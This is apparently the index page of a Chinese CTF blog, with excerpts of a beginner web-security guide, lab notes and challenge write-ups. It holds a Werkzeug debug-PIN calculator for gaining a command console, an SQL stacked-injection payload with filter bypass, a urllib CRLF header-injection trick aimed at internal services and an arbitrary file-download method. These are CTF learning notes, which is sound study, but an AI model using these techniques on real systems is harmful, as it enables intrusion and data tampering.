2024 TKKCTF | Web入门指南

什么是Web? 日常生活中碰到的有关网络的一切,都能叫作Web。小到家庭网络,大到跨国网站前后端布局 你现在看到的这个网站,以及我们比赛用的平台,输入网址,点击回车,无数通信与网络工程原理在你看不到的地方用不到几秒的时间一通操作后,一个漂亮的网页就这样成现在你面前。而完成这一过程的所有步骤,就构成了我们所说的Web技术。 在网络安全领域,web安全技术则是你能在现实中看到的最像影视作品里黑客们在使用的技术。就像上面所说的访问网站的例子,黑客们可能出现在你任何意料之外的地方。比方说,你正在付款的淘宝网其实并不是真的,而是黑客伪造出来的1比1复刻网站;上大学后老师教了你怎么搭建一个属于自己的个人博客,结果不出两天就被不知名黑客不知道从哪挂上了各种满天飞的广告;就连你出门随身携带的手机自动连上的无密码免费wifi,可能都是黑客在监听你QQ微信的幌子。 怎么学Web? 不懂就搜(善用ai和搜索引擎,小到软件怎么使用,大到某一个庞大的知识点,可以使用多个搜索引擎,推荐google和bing),不懂就问(大雪参必备技能—脸皮厚) 推荐blog网站: 先知社区,freebuf,Red的小屋(本站) 接下来,就让我们通过这次TKKCTF,从最最基础的几个技术,来浅入一下会令你感慨黑客们无所不能的Web安全技术,来看看这些被形容得很坏但又很酷的事情。 网站基础 我们都知道,当我们想要访问一个网站时,就需要一个网址,而网址的专业名词就叫“域名”。域名除了能带你访问你想访问网站以外,一般都带有一些其他信息,例如网站所在服务器的ip地址等等内容。这些内容我们管他叫DNS记录。为了查询到这些内容,我们就需要做一件事,也就是DNS解析。其中,本引导题的flag就藏在我们的平台域名xujclab.com的TXT记录中,快去试试吧! 对应题目:引导题 网络基础 如果你是个没有很多网络开发经验的小白,肯定不知道什么叫Http协议。但如果仔细观察一下你现如今接触到的绝大多数网站网址最开始,都有一段这样的东西:http:// 在博大精深的网络世界中,我们所看到的网站,架设在一种叫“服务器”的电脑上。它其实和我们正在使用的电脑就组成上来说没有任何不同,一样的内存,一样的硬盘,一样的芯片,最大的区别就是它为了保证它正在服务的网站能够7x24小时不间断提供功能,就7x24小时不会关机。而我们自己电脑上的浏览器,为了能让你想访问的网站的服务器准确地为我们提供服务,就需要使用一个双方电脑都看得懂的东西来互相告诉对方现在自己想干什么。这个“东西”就叫“协议”,“协议”是两台电脑都能看得懂的内容,一种约定俗成的格式,于是他们就会用这个东西相互交流。而“Http协议”其实就是众多协议中我们最常见到的一个,他告诉服务器我们想要看到的网站叫什么,例如下面这个 http://redshome.top/ redshome.top是我网站的名字,而http://就是告诉服务器的我想访问redshome.top这个网站的协议 那么http协议是通过什么通信的呢?答案是“数据包”。你的电脑通过发送一个“Http数据包”来告诉服务器我们想干什么。下面这个就是一个真实的“Http数据包” GET / HTTP/1.1 Host: ctf.xujc.com Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Cookie: user=admin Accept-Language: zh-CN,zh;q=0.9 Connection: close 不用慌,让我们来看一行一行分析这个数据包里到底都是些什么东西 第一行GET / HTTP/1.1叫数据包的“请求行”,GET的意思是使用“GET”方式请求数据,也就是你在浏览器地址栏写下网址按下回车的这个操作其实就叫做一个“GET”请求,应该很好理解。中间的/代表你正访问的网站的路径,路径可以理解成网站的“文件夹”,不同的“文件夹”下自然会有不同“文件”,就对应着不同的功能。而只有一个/则称为网站的“根路径”,也就是最开始的一层文件夹。HTTP/1.1则是正在使用的http协议版本,这个不重要。 接下来几行都是同一部分,叫“请求头”。每一行都有一个名称和一个英文冒号:与后面的内容隔开。冒号前叫“属性”,冒号后叫“值”。让我们看几个比较重要的属性和值。 “Host”,这个属性是浏览器用来告诉你的运营商你想要访问什么网站或者哪台服务器用的。上面这个例子中,ctf.xujclab.com就是我们要访问的网站 “User-Agent”,这个属性是我们告诉服务器自己正在用什么浏览器的。上面这个例子中,使用的浏览器就是Safari “Cookie”,这个属性是用来告诉浏览器我们当前登录状态的,比如服务器会判断你是否已经登录过,用什么账号登陆的,从而返回给你对应的页面。最常见的例子就是很多网站在登陆界面会问你“是否保持登录状态”或者“是否自动登录”,其实就是用这个属性来储存的 其他属性暂时还不需要用到,如果有兴趣可以再去自行了解。 那么现在就有了个新的问题,我们要怎么截获浏览器发送出去的数据包呢?这里就要用到一个工具,叫burpsuite 具体怎么安装这个工具可以到群上提问或者自行去网上搜搜 以及什么是HTML,是怎么让我们的网站变得这么丰富多彩的?可以参考这篇:https://developer.mozilla.org/zh-CN/docs/Learn/Getting_started_with_the_web/HTML_basics 对应题目:黑客新手训练营 持续更新……

October 13, 2024 · 1 min · Red

[靶场笔记]第二十章

$_SERVER[‘QUERY_STRING’] 接收url中?后面面的内容,如果你传index.php?a=1&b=2,此时这个变量就是a=1&b=2 ||替代or 在盲注时可以用 file_get_contents($text,‘r’) 写题的时候看到的….原句如下 file_get_contents($text,'r')==="welcome to the 504sys" 研究后发现这个’r’并没有什么用,直接data:text/plain,welcome to the 504sys秒了 flask_pin 经常在flask题碰到/console路径下的命令执行界面,但不知道怎么利用,刚好碰到一题,记录一下 /console是werzeug带的,需要在flask的debug模式下才有这个页面 需要结合文件读取,将下面带注释的地方贴上从靶机读出来的内容即可 import hashlib from itertools import chain probably_public_bits = [ 'root',# username,读/etc/passwd或/proc/1/environ 'flask.app',# modname,默认 'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__')) '/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),绝对路径,在flask报错页面就有 ] private_bits = [ '2485376928819',# str(uuid.getnode()), 读/sys/class/net/ens33(eth0)/address 'c31eea55a29431535ff01de94bdcf5cf51cecdfe211e2cbcc4aceca8644578f88343f0fd029190f1c720bc759b24ef6b'# get_machine_id(), /etc/machine-id加上 /proc/self/cgroup 两个值拼接 ] h = hashlib.md5() for bit in chain(probably_public_bits, private_bits): if not bit: continue if isinstance(bit, str): bit = bit.encode('utf-8') h.update(bit) h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None if num is None: h.update(b'pinsalt') num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None if rv is None: for group_size in 5, 4, 3: if len(num) % group_size == 0: rv = '-'.join(num[x:x + group_size].rjust(group_size, '0') for x in range(0, len(num), group_size)) break else: rv = num print(rv) 有关flask pin码的生成分析可以看这里,Werkzeug更新带来的Flask debug pin码生成方式改变看这里 ...

September 23, 2024 · 1 min · Red

红包题第四期WP-答案竟在派蒙中

Misc-答案竟在派蒙中 解题过程: FLAG1: 根据题目提示把派蒙拉开,全选后可以看到有白色字符被选中 更改颜色后是一串以等号结尾的编码 解码得到flag FLAG2: 文档的内容可以确定没有挖掘的内容了,接下来对文件本身进行分析 可以用010editor工具进行分析结构 由于docx文件的本质其实是zip压缩文件,但504B0506(zip文件的结束标志)之后依然有数据可以判断文件后方被写入的隐写文件(出题人当时傻逼了忘了是怎么藏的来着,记成是放里面了) kali的binwalk指令也可以得到一样的结果 可以在010中手动分离文件,也可以用foremost分离 (注意这种压缩包套娃的题binwalk -e有几率出现分不出来的情况所以这里用foremost) 分离后的压缩包解压得到小恐龙一只 这里可以用cat指令查看文件(同理010editor或者记事本打开也可以看到信息) 另一个以等号结尾的编码,根据特征判断是base32编码 解码后得到类flag格式的玩意 由于格式相近推测是凯撒移位加密 枚举后得到flag 尾注: 关于base家族的特征和其它编码推荐一篇文章 https://cloud.tencent.com/developer/article/1748394 https://www.bilibili.com/video/BV1GJ411x7h7

September 22, 2024 · 1 min · Red

[靶场笔记]第十九章

call_user_func 在官方文档中有这种用法 <?php namespace Foobar; class Foo { static public function test() { print "Hello world!\n"; } } call_user_func(__NAMESPACE__ .'\Foo::test'); call_user_func(array(__NAMESPACE__ .'\Foo', 'test')); ?> 这个函数可以直接调用类中的静态方法,比如 call_user_func('Foo::test'); update注入 一种比较少见的sql注入 具体用法如下 如果不加where条件就能把整个字段的值都改掉,一般碰到改价格买东西的题目就会用到 如果碰到像上面这张情况可以用大小写同时用的方法绕过(不得不说对SQL注入的过滤用黑名单真的是很傻的办法= =)下面是一个payload示例 1';UPdATE%09items%09SeT%09price=1;# %09是tab,堆叠+大小写混用就能用了 python urllib头注入 一个16年的漏洞,影响版本是python 2.7.16以下和python 3.7.3以下。 以下面这个场景为例 import urllib2 import sys url=sys.argv[1] result=urllib2.urlopen(url) print result.read() 在url被赋值http://127.0.0.1时,服务端会接收到一个正常的http请求包。但如果赋值是http://127.0.0.1/%0d%0a123时,则会被换行插入一个123,如下图 漏洞原理是urllib在解析url时。接受URL编码的值。会包含在HTTP数据流中 因此我们就可以利用这点来实现对内网服务的CSRF,比如在内网的redis,就能通过这点来实现修改账号密码 python命令行参数接收 在看头部注入的wp时学到的,以下面这段代码为例 #1.py import urllib2 import sys url=sys.argv[1] result=urllib2.urlopen(url) print result.read() 在命令行中输入python 1.py http://127.0.0.1/,url的值就会被赋上http://127.0.0.1/ 关于 Content-Type:application/x-www-form-urlencoded 和 Content-Type:multipart/related 这里记录一个链接 https://www.cnblogs.com/taoys/archive/2010/12/30/1922186.html 127.0.0.1和0.0.0.0的区别 直接上结论,127.0.0.1 是一个环回地址。并不表示“本机”。0.0.0.0才是真正表示“本网络中的本机”。 ...

June 30, 2024 · 1 min · Red

CISCN 2019华北Day1 web1

一道很适合新手入门完整网站项目漏洞挖掘的题目,网上wp多半只讲了利用链和exp,我会从网站逻辑开始分析并写得尽量详细易懂,同样适合新手入门 复现靶场为nssctf,https://www.nssctf.cn/problem/2 搜题号应该也能搜到 文件获取 拿到页面后是个登录框,先注册一个账号登进去看看 进来后是个文件管理的界面 随便传个文件 这里就会涉及到一个任意文件读取的思路。一般一些制作并不是那么精良的网站都会直接使用文件名匹配的方式去读取文件内容从而达到下载的效果,所以我们点击下载的时候抓个包试一下看能不能通过修改文件名从而把原代码下载下来 成功读取。照着这个方法把几个已知页面的代码都读一遍 网站代码逻辑 因为代码比较多,所以这里我这里先介绍一下网站的主要实现逻辑 我的习惯是从主界面也就是index.php开始看调用,在index.php中可以发现下面这段 进入到class.php,查看一下Filelist类 class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path); $key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } } public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } } public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } } 从构造函数开始,会发现这里传入了一个path形参 ...

June 28, 2024 · 2 min · Red